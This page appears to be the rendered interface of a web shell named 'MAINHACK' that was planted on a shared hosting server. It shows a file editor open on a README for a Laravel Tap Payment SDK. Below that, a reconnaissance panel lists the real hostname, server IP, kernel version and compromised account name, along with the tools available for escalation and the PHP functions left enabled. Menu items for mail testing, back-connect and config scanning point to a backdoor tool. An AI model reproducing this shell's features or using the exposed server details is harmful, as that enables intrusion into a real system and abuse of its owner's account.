[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: README.md
# laravel-tap-payment Tap Payment SDK Package for PHP Laravel  ## Laravel compatibility Laravel | laravel-tap-payment :-------------|:---------- 5.6.* - 5.8.* (PHP 7 required) | 0.0.1 5.6.* - 8.* (PHP 7 required) | 0.0.2 5.6.* - 8.* (PHP 7 required) | 0.0.3 ## Installation Use the package manager [composer](https://getcomposer.org/) to install foobar. ```bash composer require essam/laravel-tap-payment ``` # Usage ### Create Charge Ttransaction ```php $TapPay = new Payment(['secret_api_Key'=> $secret_api_Key]); $redirect = false; // return response as json , you can use it form mobile web view application return $TapPay->charge([ 'amount' => 200, 'currency' => 'AED', 'threeDSecure' => 'true', 'description' => 'test description', 'statement_descriptor' => 'sample', 'customer' => [ 'first_name' => 'customer', 'email' => 'customer@gmail.com', ], 'source' => [ 'id' => 'src_card' ], 'post' => [ 'url' => null ], 'redirect' => [ 'url' => url('check_payment.php') ] ],$redirect); ``` If the information is correct, you will be directed to the payment page ### Get Charge By Charge id ```php $TapPay = new Payment(['secret_api_Key'=> $secret_api_Key]); $Charge = $TapPay->getCharge($charge_id); ``` ### Get Charges List ```php $TapPay = new Payment(['secret_api_Key'=> $secret_api_Key]); $ChargesList = $TapPay->chargesList([ 'period' => [ 'date' => [ 'from' => Date('Y-m-d H:i:s'), 'to' => Date('Y-m-d H:i:s'), ] ], 'status' => 'INITIATED', 'limit' => 30 ]); ``` ### Create Refund Ttransaction ```php $TapPay = new Payment(['secret_api_Key'=> $secret_api_Key]); $Refund = $TapPay->refund([ 'charge_id' => $charge_id, 'amount' => 2, 'currency' => 'AED', 'reason' => 'type the refund reason', 'post' => [ 'url' => 'http://post_after_refund_page.php' ]); ``` ### get Refund By Refund id ```php $TapPay = new Payment(['secret_api_Key'=> $secret_api_Key]); $Refund = $TapPay->getRefund($refund_id); ``` ### get Refunds List ```php $TapPay = new Payment(['secret_api_Key'=> $secret_api_Key]); $RefundList = $TapPay->refundList([ 'period' => [ 'date' => [ 'from' => Date('Y-m-d H:i:s'), 'to' => Date('Y-m-d H:i:s'), ] ], 'limit' => 30 ]); ``` # Some Tutorial to learn How to use this Api https://medium.com/@sfwanessam9/how-to-use-laravel-tap-payment-sdk-cc9e583f84a4 ## Contributing Pull requests are welcome. For major changes, please open an issue first to discuss what you would like to change. Please make sure to update tests as appropriate. ## License [MIT](https://choosealicense.com/licenses/mit/)
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285